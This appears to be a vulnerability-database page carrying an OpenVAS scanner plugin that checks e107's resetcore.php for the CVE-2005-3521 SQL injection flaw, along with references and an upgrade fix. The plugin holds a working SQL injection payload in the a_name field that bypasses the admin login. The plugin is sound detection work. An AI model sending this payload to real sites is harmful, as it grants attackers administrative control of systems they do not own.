e107 resetcore.php SQL Injection
🗓️ 26 Mar 2006 00:00:00Reported by Copyright (C) 2005 David MaciejakType
openvas🔗 plugins.openvas.org👁 23 Views
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
| CVE-2005-3521 | 6 Nov 200511:00 | – | cve | |
| CVE-2005-3521 | 6 Nov 200511:00 | – | cvelist | |
| e107 resetcore.php user Field SQL Injection | 21 Oct 200500:00 | – | nessus | |
| EUVD-2005-3520 | 7 Oct 202500:30 | – | euvd | |
| CVE-2005-3521 | 6 Nov 200511:03 | – | nvd |
| Source | Link |
|---|---|
| sourceforge | www.sourceforge.net/project/shownotes.php |
| securityfocus | www.securityfocus.com/bid/15125 |
| retrogod | www.retrogod.altervista.org/e107remote.html |
# SPDX-FileCopyrightText: 2005 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
# Ref: rgod
CPE = "cpe:/a:e107:e107";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.20069");
script_version("2023-08-03T05:05:16+0000");
script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
script_cve_id("CVE-2005-3521");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("e107 resetcore.php SQL Injection");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2005 David Maciejak");
script_family("Web application abuses");
script_dependencies("e107_detect.nasl");
script_mandatory_keys("e107/installed");
script_require_ports("Services/www", 80);
script_xref(name:"URL", value:"http://retrogod.altervista.org/e107remote.html");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15125");
script_xref(name:"URL", value:"https://sourceforge.net/project/shownotes.php?release_id=364570");
script_tag(name:"solution", value:"Upgrade to e107 version 0.6173 or later.");
script_tag(name:"summary", value:"The remote web server contains a PHP script that is prone to a SQL injection
attack.");
script_tag(name:"insight", value:"The remote host appears to be running e107, a web content management system
written in PHP.
There is a flaw in the version of e107 on the remote host such that anyone can injection SQL commands through the
'resetcore.php' script which may be used to gain administrative access trivially.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_app");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );
if( dir == "/" ) dir = "";
host = http_host_name( port:port );
variables = "a_name='%27+or+isnull%281%2F0%29%2F*&a_password=vt-test&usubmit=Continue";
url = dir + "/e107_files/resetcore.php";
# Make sure the script exists.
req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );
# If it does...
if( egrep( pattern:"<input [^>]*name='a_(name|password)'", string:res ) ) {
req = string( "POST ",url, " HTTP/1.1\r\n",
"Referer: http://", host, req, "\r\n",
"Host: ", host, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(variables), "\r\n\r\n",
variables );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );
if( "Reset core to default values" >< buf && "e107 resetcore></title>" >< buf ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit(0);
}
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Aug 2023 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
EPSS0.01632